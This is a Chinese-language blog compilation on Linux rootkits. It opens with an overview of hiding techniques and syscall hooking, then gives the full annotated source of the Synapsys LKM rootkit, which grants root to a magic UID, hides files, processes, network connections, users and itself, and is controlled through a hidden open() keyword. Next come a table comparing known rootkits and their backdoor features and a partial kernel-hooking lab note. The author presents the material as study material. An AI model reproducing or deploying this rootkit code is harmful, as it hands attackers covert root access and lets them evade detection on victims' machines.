rootkit技术

rootkit的主要分类：

应用级->内核级->硬件级

早期的rootkit主要为应用级rootkit，应用级rootkit主要通过替换login、ps、ls、netstat等系统工具，或修改.rhosts等系统配置文件等实现隐藏及后门；硬件级rootkit主要指bios rootkit，可以在系统加载前获得控制权，通过向磁盘中写入文件，再由引导程序加载该文件重新获得控制权，也可以采用虚拟机技术，使整个操作系统运行在rootkit掌握之中；目前最常见的rootkit是内核级rootkit。

内核级rootkit又可分为lkm rootkit、非lkm rootkit。lkm rootkit主要基于lkm技术，通过系统提供的接口加载到内核空间，成为内核的一部分，进而通过hook系统调用等技术实现隐藏、后门功能。非lkm rootkit主要是指在系统不支持lkm机制时修改内核的一种方法，主要通过/dev/mem、/dev/kmem设备直接操作内存，从而对内核进行修改。

非lkm rootkit要实现对内核的修改，首先需要获得内核空间的内存，因此需要调用kmalloc分配内存，而kmalloc是内核空间的调用，无法在用户空间直接调用该函数，因此想到了通过int 0x80调用该函数的方法。先选择一个不常见的系统调用号，在sys_call_table中找到该项，通过写/dev/mem直接将其修改为 kmalloc函数的地址，这样当我们在用户空间调用该系统调用时，就能通过int 0x80进入内核空间，执行kmalloc函数分配内存，并将分配好的内存地址由eax寄存器返回，从而我们得到了一块属于内核地址空间的内存，接着将要 hack的函数写入该内存，并再次修改系统调用表，就能实现hook系统调用的功能。

rootkit的常见功能：

隐藏文件：通过strace ls可以发现ls命令其实是通过sys_getdents64获得文件目录的，因此可以通过修改sys_getdents64系统调用或者更底层的 readdir实现隐藏文件及目录，还有对ext2文件系统直接进行修改的方法，不过实现起来不够方便，也有一些具体的限制。

隐藏进程：隐藏进程的方法和隐藏文件类似，ps命令是通过读取/proc文件系统下的进程目录获得进程信息的，只要能够隐藏/proc文件系统下的进程目录就可以达到隐藏进程的效果，即hook sys_getdents64和readdir等。

隐藏连接：netstat命令是通过读取/proc文件系统下的net/tcp和net/udp文件获得当前连接信息，因此可以通过hook sys_read调用实现隐藏连接，也可以修改tcp4_seq_show和udp4_seq_show等函数实现。

隐藏模块：lsmod命令主要是通过sys_query_module系统调用获得模块信息，可以通过hook sys_query_module系统调用隐藏模块，也可以通过将模块从内核模块链表中摘除从而达到隐藏效果。

嗅探工具：嗅探工具可以通过libpcap库直接访问链路层，截获数据包，也可以通过linux的netfilter框架在IP层的hook点上截获数据包。嗅探器要获得网络上的其他数据包需要将网卡设置为混杂模式，这是通过ioctl系统调用的SIOCSIFFLAGS命令实现的，查看网卡的当前模式是通过SIOCGIFFLAGS命令，因此可以通过hook sys_ioctl隐藏网卡的混杂模式。

密码记录：密码记录可以通过hook sys_read系统调用实现，比如通过判断当前运行的进程名或者当前终端是否关闭回显，可以获取用户的输入密码。hook sys_read还可以实现login后门等其它功能。

日志擦除：传统的unix日志主要在/var/log/messages，/var/log/lastlog，/var/run/utmp，/var /log/wtmp下，可以通过编写相应的工具对日志文件进行修改，还可以将HISTFILE等环境变设为/dev/null隐藏用户的一些操作信息。

内核后门：可以是本地的提权后门和网络的监听后门，本地的提权可以通过对内核模块发送定制命令实现，网络内核后门可以在IP层对进入主机的数据包进行监听，发现匹配的指定数据包后立刻启动回连进程。

rootkit的主要技术：

lkm注射、模块摘除、拦截中断（0x80、0x01）、劫持系统调用、运行时补丁、inline hook、端口反弹……

lkm注射：也是一种隐藏内核模块的方法，通过感染系统的lkm，在不影响原有功能的情况下将rootkit模块链接到系统lkm中，在模块运行时获得控制权，初始化后调用系统lkm的初始化函数，lkm注射涉及到elf文件格式与模块加载机制。

模块摘除：主要是指将模块从模块链表中摘除从而隐藏模块的方法，最新加载的模块总是在模块链表的表头，因此可以在加载完rootkit模块后再加载一个清除模块将rootkit模块信息从链表中删除，再退出清除模块，新版本内核中也可以通过判断模块信息后直接list_del。

拦截中断：主要通过sidt指令获得中断调用表的地址，进而获取中断处理程序的入口地址，修改对应的中断处理程序，如int 0x80，int 0x1等。其中拦截int 0x1是较新的技术，主要利用系统的调试机制，通过设置DR寄存器在要拦截的内存地址上下断点，从而在执行到指定指令时转入0x1中断的处理程序，通过修改0x1中断的处理程序即可实现想要的功能。

劫持系统调用：和拦截中断类似，但主要是对系统调用表进行修改，可以直接替换原系统调用表，也可以修改系统调用表的入口地址。在2.4内核之前，内核的系统调用表地址是导出的，因此可以直接对其进行修改。但在2.6内核之后，系统调用表的地址已经不再导出，需要对0x80中断处理程序进行分析从而获取系统调用表的地址。

运行时补丁：字符设备驱动程序和块设备驱动程序在加载时都会向系统注册一个Struct file_operations结构实现指定的read、write等操作，文件系统也是如此，通过修改文件系统的file_operations结构，可以实现新的read、write操作等。

inline hook：主要是指对内存中的内核函数直接修改，而不影响原先的功能，可以采用跳转的办法，也可以修改对下层函数的call offset实现。

端口反弹：主要是为了更好的突破防火墙的限制，可以在客户端上监听80端口，而在服务器端通过对客户端的80端口进行回连，伪装成一个访问web服务的正常进程从而突破防火墙的限制。

附：Rootkit on Linux x86 v2.6.pdf： http://download.csdn.net/detail/lucien_cc/4284660

熬夜写llroot,写的头有些晕了,代码也有点乱,所以停下来歇歇;就又去逆向昨天下的那个rootkit,搞了1个多小时,头又晕了,才搞了不到一半,夜深人静的时候,孤孤单单,没有美女陪,不爽啊.想想好长时间没有在这个blog上写技术文章了,于是就转来下面一篇文章,文章比较老了,针对linux2.2内核的,但是基本的思路是没有失效的.正好这学期的操作系统课程考试也打算让研究生写一些类似的程序,所以贴在这里,也可以给他们参考下.等我今年把现在的事情忙完,把计划中的那几个开发板做出来后,明年要回头认真写个linux下的rootkit玩玩.

前言
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    这个rootkit应该都不陌生，功能相对很强大，也是lkm实现的rootkit的典型，通过对他代码的实际分析可以看出利用linux的lkm我们可以做很多很多有趣的木马程序。
    就象Berserker本人对这个rootkit的解释一样，它截获open,getuid,kill,fork,clone,write,
query_module,getdents等系统调用，来实现针对特殊uid的root权限授予，隐藏自身文件，隐藏进程及其子进程和派生进程，隐藏netstat,finger,who等命令的输出，隐藏modules，呵呵。
    本文要求你最好具有基本的lkm内核编程知识，截获系统调用我不多说了，至于怎么从用户区来获得参数，以及如何在内核空间为用户区分配内存的问题，我这里简单介绍一下，因为它是lkm可以作为hacking kernel的关键。

我们如何从用户区取得参数
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在《linux可装载内核完全指南》这篇文章中定义了几个实现方法，我这里重复一下，我自己也介绍一种可行的方法。
好，我们来看看这个函数的定义：
char *strncpy_fromfs(char *dest,const char *src,int n)
{
     char *tmp=src;
     int compt=0;

     while((dest[compt-1]!='\0')&&(compt!=n));
     do {
     dest[compt++]=_get_user(tmp++,1);
     }

     return dest;
}
这是一个经典例程，函数返回用户区的字符串指针，关键是我们利用了get_user(...)这个核心函数，它的作用可以用来将数据从用户态移到内核空间，同样道理我们可以用mencpy_fromfs(char *dest,const char *src,int n)来移动数据。

好，再给出第二个方法，copy_from_user(...)，很简单，函数返回用户区数据指针，我们看一下核心代码给出的函数原型：
static inline unsigned long
__generic_copy_from_user_nocheck(void *to, const void *from, unsigned long n)
{
    __copy_user_zeroing(to,from,n);
    return n;
}
这种也就是synapsys.c里面用的方法。

我们如何在内核空间为用户函数分配内存空间
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这个问题我解释一下，还是相对于上面来说，我们依然用这个函数：mencpy_tofs(void *to,const void *from,unsigned long count);但是我们如何在内核分配内存给*to呢？我们通过brk调用于current->mm->brk来增加未使用的数据段大小。我们给current进程分配内存空间，用来拷贝内核空间到用户模式。需要用到的brk调用就需要我们自己构建了，很简单，参看核心代码：
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int ＄0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name),"b" ((long)(arg1))); \
if (__res >= 0) \
    return (type) __res; \
errno = -__res; \
return -1; \
}
另外一种方法就是利用get_ds来获取用户数据段寄存器，然后把内核用来指向用户段的段选器设成需要的ds值就可以了，我们用set_fs(get_ds)来做到，具体这两个调用的实现参看核心代码。

第三种方式就是synapsys.c中所用到的利用copy_to_user(...),前面已有所介绍，就不多说了。

分析synapsys.c源代码
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/*********************************************************************************************************************
*  Synapsys-lkm version 0.4
*
* coded by Berserker for Neural Collapse Crew  [www.neural-collapse.org]
*
*  for questions, suggestions, bug report ---->  [email protected]            
*
* 描述 : Synapsys 是一个针对linux内核版本为2.2.x的lkm的rootkit. 实现文件和目录的隐藏 , 进程隐藏
* (包括子进程和派生进程), 隐藏netstat输出 (定义 port和host/ip/port/protocol变量), 以root特权来
* 定义uid, 用户隐藏(finger/who/w), 模块本身的隐藏. 加载模块之后，你可以完全控制open()系统调用；
* 可以任意激活/卸载, 可以改变隐藏文件的前缀, 在netstat输出里面屏蔽行信息以及隐藏用户列表。
*
*
*  Saluti e Ringraziamenti : norby , anyone, beholder, mandarine, asfalto, jerusalem  
*
* 编译方法: gcc -c -O3 -fomit-frame-pointer Synapsys.c
*
*********************************************************************************************************************/
#define MODULE
#define __KERNEL__

#if CONFIG_MODVERSIONS==1
#define MODVERSIONS
#include 
#endif


#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 




char *magicword         = "traboz";               /* 通过open调用来控制lkm的关键字 */
char file2hide[20]      = "NCL_ph1l3";            /* 要隐藏的文件名包含的关键字 */
char hiddenuser[20]     = "Ncl";                  /* 在finger/who/w等命令的输出里隐藏的user值 */
char netstatstuff[20]   = "host_or_ip_or_port";   /* 要隐藏的netstat命令的输出行 */


#define HIDDEN_PORT "3012"         /* 定义端口号为*3012* */
#define PF_INVISIBLE 0x00002000
#define SIGNAL_INVISIBLE 32        /* 定义为隐藏进程发送的信号量 */
#define MAGIC_UID 666              /*定义MAGIC_UID值*/
#define LKM_NAME "Synapsys"        /*定义lkm程序的程序名，不多说了：）*/
#define M_UID_FUNC     "muid"     /* 定义为MAGIC_UID激活/卸载root特权的开关字（不知道这样解释是否理解，西西）*/
#define GETDENTS_FUNC  "hidf"     /* 定义激活/卸载隐藏文件及进程的开关字 */
#define UNINST_LKM     "unin"     /* 卸载moudle*/
#define NETSTAT_FUNC   "hidn"     /* 定义激活/卸除netstat命令输出的开关字 */
#define FINGER_FUNC    "hidu"     /* 定义激活/卸除用户信息的开关字 */
#define HIDELKM_FUNC   "hidm"     /* 定义激活/卸除lkm本身隐藏的开关字 */
#define BE_VERBOSE_CMD "verbose"  /*捕捉每个关键的变量值*/

int uid_func  = 1;             /* 1代表激活状态，0代表非激活（卸除）状态，缺省是全部激活状态*/
int hidf_func = 1;
int nets_func = 1;
int hidu_func = 1;
int hidm_func = 1;

extern void* sys_call_table[];/*导出系统调用表*/

asmlinkage int (*real_open)(const char *, int  ,int );/*定义open调用*/
asmlinkage int (*real_getuid)();     /*定义getuid调用*/
asmlinkage int (*real_getdents)(unsigned int, struct dirent *,unsigned int);/*定义getdents调用*/
asmlinkage int (*real_kill)(int, int);  /*定义kill调用*/
asmlinkage int (*real_fork)(struct pt_regs);/*定义fork调用*/
asmlinkage int (*real_clone)(struct pt_regs);
asmlinkage int (*real_write)(unsigned int , char *, unsigned int);
asmlinkage int (*real_query_module)(const char *, int, char *, size_t, size_t *);

asmlinkage void cleanup_module(void);
/*我们要替换的open调用*/
asmlinkage int hack_open(const char *pathname, int flag, int mod) {
/*这个asmlinkage定义，我费了很大的心思理解，后来在核心代码的socket.c中找到了，是一个内联函数，
主要是gcc在编译的时候连接asm代码*/
  char *k_pathname;
  char *x,*cmd,*tmp,*arg;
  int i = 0;
  k_pathname = (char*) kmalloc(256, GFP_KERNEL);

  copy_from_user(k_pathname, pathname, 255);/*从用户区得到pathname值到内核空间*/
  x = strstr(k_pathname, magicword);    /*检查pathname里面有没有我们想要隐藏的东东*/
  if ( x ) {
    tmp = &x[strlen(magicword)];
    if (strlen(tmp) >= 4) {
      if (strlen(tmp) > 4)
      arg = &tmp[4];
      else arg = 0;
      cmd = strncpy(cmd, tmp, 4);
      cmd[4] = '\0';
      if (strcmp(cmd,M_UID_FUNC) == 0) {      
    if (arg == 0) {
          if (uid_func == 1) uid_func--;
          else uid_func++;
    }  
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)      
      printk("the value of uid_func is : %d\n",uid_func);
      }
      else if (strcmp(cmd,GETDENTS_FUNC) == 0) {        /*确定隐藏文件本身的目录列表显示*/
        if (arg == 0) {
          if (hidf_func) hidf_func--;
          else hidf_func++;
    }
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)
      printk("the value of hidf_func is : %d the hidden files prefix is : %s\n  ",hidf_func,file2hide);
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD)) {
      memset(file2hide,0,sizeof(file2hide));
      strncpy(file2hide,arg,strlen(arg));
    }
      }
      else if (strcmp(cmd,NETSTAT_FUNC) == 0) {   /*确定隐藏netstat的输出行*/
    if (arg == 0) {
          if (nets_func == 1) nets_func--;
          else nets_func++;
    }
    else if(strcmp(arg,BE_VERBOSE_CMD) == 0) {
      printk("the value of nets_func is : %d the hidden port is: %s are hidden lines that contains %s too\n"
         ,nets_func, HIDDEN_PORT, netstatstuff );
    }
    else if (strcmp(arg,BE_VERBOSE_CMD) != 0) {
      memset(netstatstuff,0,sizeof(netstatstuff));
      strncpy(netstatstuff,arg,strlen(arg));
    }
      }
      else if(strcmp(cmd,FINGER_FUNC) == 0) {  /*确定隐藏finger输出*/
    if (arg == 0) {
          if (hidu_func == 1) hidu_func--;
          else hidu_func++;
        }
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)
      printk("the value of hidu_func is : %d the hidden user is %s\n", hidu_func, hiddenuser);
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD)) {
      memset(hiddenuser,0,sizeof(hiddenuser));
      strncpy(hiddenuser,arg,strlen(arg));
    }
      }
      else if(strcmp(cmd,HIDELKM_FUNC) == 0) {   /*确定隐藏自身模块*/
    if (arg == 0) {
      if (hidm_func == 1) hidm_func--;
      else hidm_func++;
    }
    else if (arg != 0&& strcmp(arg,BE_VERBOSE_CMD) == 0)
      printk("the value of hidm_func is : %d the module name hidden is : %s\n",hidm_func, LKM_NAME);
      }

      else if (!strcmp(cmd,UNINST_LKM)) {
    printk("unistalling %s\n",LKM_NAME);
    cleanup_module();
      }
      
    }
    kfree(k_pathname);                         /*释放内核内存空间*/
    return (real_open(pathname, flag, mod));
  }

  else {
    kfree(k_pathname);
    return(real_open(pathname, flag, mod));
  }
}
/*开始截获调用！*/
asmlinkage int hack_getuid() {    /*截获getuid调用*/
  int a;

    if(uid_func == 1 && current->uid == MAGIC_UID ) {

      current->uid = 0;
      current->euid = 0;
      current->gid = 0;
      current->egid = 0;
      return 0;

    }
/*解释一下，怎么来截获呢？我大概讲一下，主要大家还是要看一下lkm的实现原理，
接获这个调用的意思是：当指向当前进程的指针current->uid为我们前面所确定的
MAGIC_UID的值的时候，也就是我们以这个MAGIC_UID登陆系统的是后，使当前进程的
uid,euid,gid,egid都为0，应该知道这意味这什么吧？西西*/
    a = real_getuid();
    return a;             /*用回真实的getuid调用*/

}
asmlinkage int my_atoi (char *str) {
  int ret = 0;
  int i;
  for(i = 0; str[i] >='0' && str[i] <='9'; ++i)
    ret = 10 * ret + str[i] - '0';
  return ret;
}
/*该隐藏我们进程的任务列表结构啦*/
asmlinkage inline char *task_name(struct task_struct *p, char *buf) {
  int i;
  char *name;
  name = p->comm;
  i=sizeof(p->comm);
  do {
    unsigned char c = *name;
    name++;
    i--;
    *buf = c;
    if (!c)
      break;
    if (c == '\\') {
      buf[1] = c;
      buf += 2;
      continue;
    }
    if (c == '\n') {
      buf[0] = '\\';
      buf[1] = 'n';
      buf += 2;
      continue;
    }
    buf++;
  }
  while(i);
  *buf = '\n';
  return buf + 1;
}
/*取得pid*/
struct task_struct *get_task(pid_t pid) {
  struct task_struct *p = current;
  do {
    if (p->pid == pid) return p;
    p = p->next_task;
  }
  while (p != current);
  return NULL;
}
/*隐藏pid！*/
asmlinkage int is_invisible(pid_t pid) {

  struct task_struct *task = get_task(pid);
  if (task == NULL) return 0;
  if (task->flags & PF_INVISIBLE) return 1;
  return 0;
}
/*截获kill调用，当调用kill来发信号给我们uid或euid时，就返回一个没有该进程的信息*/
asmlinkage int hack_kill(pid_t pid, int sig) {

struct task_struct *task = get_task(pid);

if(task  == NULL)
   return(-ESRCH);

else if(current->uid && current->euid)
   return(-EPERM);


else if (sig == SIGNAL_INVISIBLE) {
    task->flags |= PF_INVISIBLE;
  }
else {
    return (*real_kill)(pid, sig);
}

}
/*截获fork调用，隐藏派生的子进程*/
asmlinkage int hack_fork(struct pt_regs regs) {

  struct task_struct *task;
  pid_t pid;
  int h = 0;

  pid = real_fork(regs);
  task = get_task(pid);

  if (is_invisible(current->pid))
    h++;
  if (h && pid >= 0) {

    if (task == NULL)
      return -ESRCH;
    if (pid <= 1)
      return -1;

    task->flags |= PF_INVISIBLE;
  }
  return pid ;
}

asmlinkage int hack_clone(struct pt_regs regs) {

  struct task_struct *task;
  pid_t pid;
  int h = 0;

  pid = real_clone(regs);
  task = get_task(pid);

  if (is_invisible(current->pid))
    h++;
  if (h && pid >= 0) {

    if (task == NULL)
      return -ESRCH;
    if (pid <= 1)
      return -1;

    task->flags |= PF_INVISIBLE;
  }
  return pid ;
}
/*呵呵，开始隐藏我们的文件，接获getdents调用。这个截获很基础，就不多做注释了*/
asmlinkage int hack_getdents( unsigned int fd, struct dirent *dirp, unsigned int count) {

  unsigned int getdret,n;
  int x , proc = 0;
  struct inode *dinode;
  struct dirent *dirp2, *dirp3;
  char *hiddenfile = file2hide;  /*定义我们要隐藏的文件名*/

  getdret = (*real_getdents)(fd,dirp,count);
/*定义目录节点*/
#ifdef __LINUX_DCACHE_H
  dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
  dinode = current->files->fd[fd]->f_inode;
#endif

   if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) &&
       MINOR(dinode->i_dev) == 1) proc++;

   if (getdret > 0 ) {

     dirp2 = (struct dirent *) kmalloc(getdret, GFP_KERNEL);
     copy_from_user(dirp2, dirp, getdret);/*获取用户区参数*/
     dirp3 = dirp2;
     x = getdret ;

     while (x > 0) {

       n = dirp3->d_reclen;
       x -= n;

       if (((strstr ((dirp3->d_name), hiddenfile) != NULL ||
         (proc && is_invisible(my_atoi(dirp3->d_name))))  && hidf_func )) {

     if (x != 0)
       memmove (dirp3, (char *) dirp3 + dirp3->d_reclen, x);
         else
       dirp3->d_off = 1024;
         getdret -= n;
       }
       if(dirp3->d_reclen == 0) {
     getdret -= x;
     x = 0;
       }
       if ( x != 0)
     dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
     }
     copy_to_user(dirp, dirp2, getdret);
     kfree(dirp2);
   }
   return getdret;
}
/*截获write调用*/
asmlinkage int hack_write(unsigned int fd, char *buf,unsigned int count) {

  char *k_buf;
  char *user = hiddenuser;
  char *whtvr = netstatstuff;
  
  
  if (strcmp(current->comm,"netstat" ) != 0 && strcmp(current->comm, "finger") != 0 && strcmp(current->comm, "w") != 0 && strcmp(current->comm, "who") )
    return real_write(fd, buf, count);
  


  if ((strcmp(current->comm, "netstat") == 0) && nets_func) {
    k_buf = (char *) kmalloc(2000, GFP_KERNEL);
    memset(k_buf,0,2000);
    copy_from_user (k_buf, buf, 1999);
    if (strstr(k_buf,HIDDEN_PORT) || strstr(k_buf,whtvr) ) {/*检查是否是有我们要隐藏的netstat行*/
      kfree(k_buf);
      return count;
    }
    kfree(k_buf);
  }

  if ((strcmp(current->comm, "finger") == 0 || strcmp(current->comm, "w") || strcmp(current->comm, "who")) && hidu_func) {
    k_buf = (char *) kmalloc(2000, GFP_KERNEL);/*在内核分配内存空间*/
    memset(k_buf,0,2000);
    copy_from_user (k_buf, buf, 1999); /*从用户区获得参数*/
    if (strstr(k_buf,user)) {  /*从finger输出找出我们的用户标示*/      
      kfree(k_buf);
      return count;
    }
    kfree(k_buf);
  }
  return real_write(fd, buf,count);

}
/*截获query_module调用来隐藏模块自身*/
asmlinkage int hack_query_module(const char *name, int which, char *buf, size_t bufsize, size_t *ret) {

  int r, a;
  char *ptr, *match;

  r = real_query_module(name, which, buf, bufsize, ret);

  if (r == -1)
    return -ENOENT;
  if (which != QM_MODULES)
    return r;

  ptr = buf;

  for (a = 0; a < *ret; a++) {
    if (!strcmp(LKM_NAME, ptr) && hidm_func) {
      match = ptr;
      while (*ptr)
    ptr++;
      ptr++;
      memcpy(match, ptr, bufsize -(ptr -(char *)buf));
      (*ret)--;
      return r;
    }
    while (*ptr)
      ptr++;
    ptr++;
  }
  return r;
}

/*开始加载我们的内核模块！*/
int init_module(void){

  real_open=sys_call_table[SYS_open];/*保存原open调用*/
  sys_call_table[SYS_open]=hack_open;/*截获！*/

  real_getuid=sys_call_table[SYS_getuid];/*保存原getuid调用*/
  sys_call_table[SYS_getuid]=hack_getuid;/*截获*/

  real_getdents=sys_call_table[SYS_getdents];/*保存原getdents调用*/
  sys_call_table[SYS_getdents]=hack_getdents;/*截获！*/

  real_kill=sys_call_table[SYS_kill];/*保存原kill调用*/
  sys_call_table[SYS_kill]=hack_kill;/*截获！*/

  real_fork=sys_call_table[SYS_fork];/*保存原fork调用*/
  sys_call_table[SYS_fork]=hack_fork;/*截获！*/

  real_clone=sys_call_table[SYS_clone];/*保存原clone调用*/
  sys_call_table[SYS_clone]=hack_clone;/*截获*/

  real_write=sys_call_table[SYS_write];/*保存write调用*/
  sys_call_table[SYS_write]=hack_write;/*截获*/

  real_query_module=sys_call_table[SYS_query_module];/*保存原query_module调用*/
  sys_call_table[SYS_query_module]=hack_query_module;/*截获*/

  return 0;  


}
void cleanup_module(void){                    /*卸载*/

  sys_call_table[SYS_open]=real_open;
  sys_call_table[SYS_getuid]=real_getuid;
  sys_call_table[SYS_getdents]=real_getdents;
  sys_call_table[SYS_kill]=real_kill;
  sys_call_table[SYS_fork]=real_fork;
  sys_call_table[SYS_clone]=real_clone;
  sys_call_table[SYS_write]=real_write;
  sys_call_table[SYS_query_module]=real_query_module;

}

个人工作之余的实践总结，简单地把RootKit分为用户态rootkit和内核级rootkit。内核级rootkit可分基于LKM 的rootkit（又细分为系统调用表修改类以及VFS层rootkit等）和非LKM的rootkit（如系统调用表重定向等）。Linux下还有BIOS、PCI、Boot（NTLDR、BCD,Grub）等更新颖技术的rootkit暂时不提供样本，同时如前面所说的，完全是个人的分析总结，不足之处欢迎指导交流！

 

下面用图表格来分析对比。

 

序号	典型代表	控制方式	适用内核版本	隐藏/反检测特点	备注
1	lrk5	主动连接	2.6.X	替换用户态ls,ps,netstat等。	第一代 用户态RootKit，代码较多；安装简洁，容易上手。
2	knark-0.59	主动连接	2.2.x	Knark0.59具有以下特性： 1、隐藏或显示文件或目录； 2、隐藏进程； 3、隐藏TCP或UDP连接； 4、程序执行重定向； 5、改变一个运行进程的UID/GID的工具； 6、非授权地、特权程序远程执行守护进程。	Linux 2.2内核下功能强大的LKM(Loadable Kernel Modules) rootkit。 调用表修改类 rootkit通过修改导出的系统调用表，对与攻击行为相关的系统调用进行替换，隐藏攻击者的行踪。
3	sk-1.3b	主动连接，反向连接	2.2.x, 2.4.x	1：sk 后门服务端程序为静态ELF文件，压缩之后就几十K的大小； 2：通过对肉鸡的任何开放的TCP端口发送特定数据就可以激活后门，端口复用； 3：sk采用动态隐藏的方式来隐藏指定的内容，包括文件，进程，网 络连接； 4：sk2可以感染系统的elf文件达到自启动的目的，也可以通过替换系统的init文件来实现自动启动。	全称suckit(super user control kit)；运行于Linux 2.4内核下最经典的 非LKM层 rootkit。并没有修改系统调用跳转表的内容，而是首先拷贝了系统调用表，然后将拷贝的系统调用表按照入侵者的意图进行修改，执行入侵者改写的系统调用响应函数。然后将system_call从旧的系统调用表上移开，指向新的系统调用表。
4	adore-ng-056-wztfix	主动连接，反向连接	2.4.X—2.6.X	1：adore-ng稳定性较好； 2：adore-ng后门服务端程序具体环境动态编译； 3：须使用客户端手动的去隐藏指定的进程、网络和文件； 4：adore-ng可以可以通过插入或者替换系统模块来实现自动启动。	Linux 2.4-2.6经典的LKM； VFS层 rootkit 并不修改系统调用层的内容，而是通过修改 VFS层的具体处理函数，如替换 VFS 层的 file_ops 等函数，来实现信息隐藏目的。
5	WNPS	主动连接，反向连接	2.6.X	1、隐藏： 隐藏指定文件 隐藏文件中特定的内容 隐藏进程 动态隐藏网络连接、进程 隐藏自身模块 保护相关模块、进程、文件不被跟踪 2、内核反弹后门，以设置定时自动回连； 3、跨内核平台简易安装，附带一个wnps.ko就可以管理所有2.6内核的机器； 4、伪终端支持，键盘记录功能； 5、比adore-ng更稳定的模块注射方式； 6、通讯 加密。	adore-ng加强版，加密通信，2.6内核通用，隐蔽性更高。
6	Ddrk	主动连接	2.6.X	1、隐藏性好： 隐藏进程 隐藏网络连接 隐藏自身模块 2、反chkrootkit，rkhunter等。	是一个 Linux结合sk和adore-ng优点，内核态+用户态+内核态的rootkit。

 

通过hook Linux内核函数，监控进程/线程创建与销毁

还是实验室蛋疼项目的需求催出来的东西，蛋疼要死，CS专业读研难道就等于干2-3年义工？？本人对Linux内核无爱，好吗！！！

Linux实际上木有线程这玩意，具体到内核里面就是个进程组头+一堆轻量级进程

太感谢Linus了，工作量瞬间下来了，在内核线程/进程无差别的，写一套东西就忽悠交差说是两套都做了，反正那帮子人也不懂。。。。

所有的进程创建都是通过do_fork()内核函数来做的，所有进程销毁都是走do_exit()，系统调用什么的都是这两个函数的封装而已

比如下面，和创建进程/线程相关的系统调用的处理函数。。。

 asmlinkage int sys_fork(struct pt_regs regs)
 {
     return do_fork(SIGCHLD, regs.esp, ®s, 0, NULL, NULL);
 }

 asmlinkage int sys_clone(struct pt_regs regs)
 {
     unsigned long clone_flags;
     unsigned long newsp;
     int __user *parent_tidptr, *child_tidptr;

     clone_flags = regs.ebx;
     newsp = regs.ecx;
     parent_tidptr = (int __user *)regs.edx;
     child_tidptr = (int __user *)regs.edi;
     if (!newsp)
         newsp = regs.esp;
     return do_fork(clone_flags, newsp, ®s, 0, parent_tidptr, child_tidptr);
 }

 /*
  * This is trivial, and on the face of it looks like it
  * could equally well be done in user mode.
  *
  * Not so, for quite unobvious reasons - register pressure.
  * In user mode vfork() cannot have a stack frame, and if
  * done by calling the "clone()" system call directly, you
  * do not have enough call-clobbered registers to hold all
  * the information you need.
  */
 asmlinkage int sys_vfork(struct pt_regs regs)
 {
     return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, regs.esp, ®s, 0, NULL, NULL);
 }

hook了这两个函数就能监控全部的创建销毁了，，

关于怎么hook，在飞客杂志上找到几篇inline hook，都是修改被hook函数入口处的汇编，插入JMP到自己代码再跑完再手动平衡堆栈JMP回去，累不累额，，，

然后看到这个Ph4nt0m Security Team小组的文章http://blog.csdn.net/lucien_cc/article/details/7544834

真可惜，这个小组现在的主站已经不能访问了，还好在Google Sites里面还能找到小组以前的文章

http://www.80vul.com/ 貌似是新站

OK，回来，文章提到不改动入口，而是修改被hook函数的里面调用下层函数的call，貌似实现简单的多啦。。。

看看do_fork 和 do_exit 的代码

 fastcall NORET_TYPE void do_exit(long code)
 {
     struct task_struct *tsk = current;
     struct taskstats *tidstats;
     int group_dead;
     unsigned int mycpu;

     profile_task_exit(tsk);

     WARN_ON(atomic_read(&tsk->fs_excl));

     ...
 }//任何进程进入这个函数就是死定了，上下文到这里就没有了

 long do_fork(unsigned long clone_flags,
     ...
 {
     struct task_struct *p;
     int trace = 0;
     struct pid *pid = alloc_pid();

     ...

     p = copy_process(clone_flags, stack_start, regs, stack_size, parent_tidptr, child_tidptr, nr);

     if (!IS_ERR(p)) {

         ...

     } else {
         free_pid(pid);
         nr = PTR_ERR(p);
     }
     return nr;
 }

代码很明白了do_exit会调用到profile_task_exit，并且进程是必死的。。。

do_fork会调用copy_process复制进程，如果copy_process成功，进程就创建成功了，最后把PID值返回回去

SO，只需要把这两次函数调用的call语句修改了就能监控全部的创建与销毁了。

最后实现代码如下：

 #include
 #include
 #include
 #include

 MODULE_LICENSE("GPL");

 #define _FORK_copy_process 0xc04234f9
 #define _EXIT_profile_task_exit 0xc04268cf
 #define _DO_EXIT_ 0xc0427ec1
 #define _DO_FORK_ 0xc0424944 //从 /boot/System.map-$(uname -r) 能找到这些地址

 //CR0的宏，网上扒的
 #define CLEAR_CR0    asm ("pushl %eax\n\t"             \
 "movl %cr0, %eax\n\t"        \
 "andl $0xfffeffff, %eax\n\t"     \
 "movl %eax, %cr0\n\t"        \
 "popl %eax");

 #define SET_CR0        asm ("pushl %eax\n\t"             \
 "movl %cr0, %eax\n\t"         \
 "orl $0x00010000, %eax\n\t"     \
 "movl %eax, %cr0\n\t"        \
 "popl %eax");

 struct task_struct *(*orig_copy_process)(unsigned long clone_flags,
                     unsigned long stack_start,
                     struct pt_regs *regs,
                     unsigned long stack_size,
                     int __user *parent_tidptr,
                     int __user *child_tidptr,
                     int pid); //从内核源代码复制过来的函数声明

 static struct task_struct *my_copy_process(unsigned long clone_flags,
                     unsigned long stack_start,
                     struct pt_regs *regs,
                     unsigned long stack_size,
                     int __user *parent_tidptr,
                     int __user *child_tidptr,
                     int pid)
 {
     struct task_struct * ret;
     ret = (*orig_copy_process)(clone_flags,stack_start,regs,stack_size,parent_tidptr,child_tidptr,pid);
     if(!IS_ERR(ret))
         printk("---z---\tPID:%d fork %d successed!\n",current->pid,pid);
     else
         printk("---z---\tPID:%d fork %d failed!\n",current->pid,pid);
     return ret;

 }

 void (*orig_profile_task_exit)(struct task_struct * task);

 void my_profile_task_exit(struct task_struct * task)
 {//这个函数不是每个内核都有的，在CONFIG_PROFILING=n的情况下编译的内核，profile_task_exit不存在的，但是呢，在centos 5.5的内核里面是有的，管其他呢。。。。
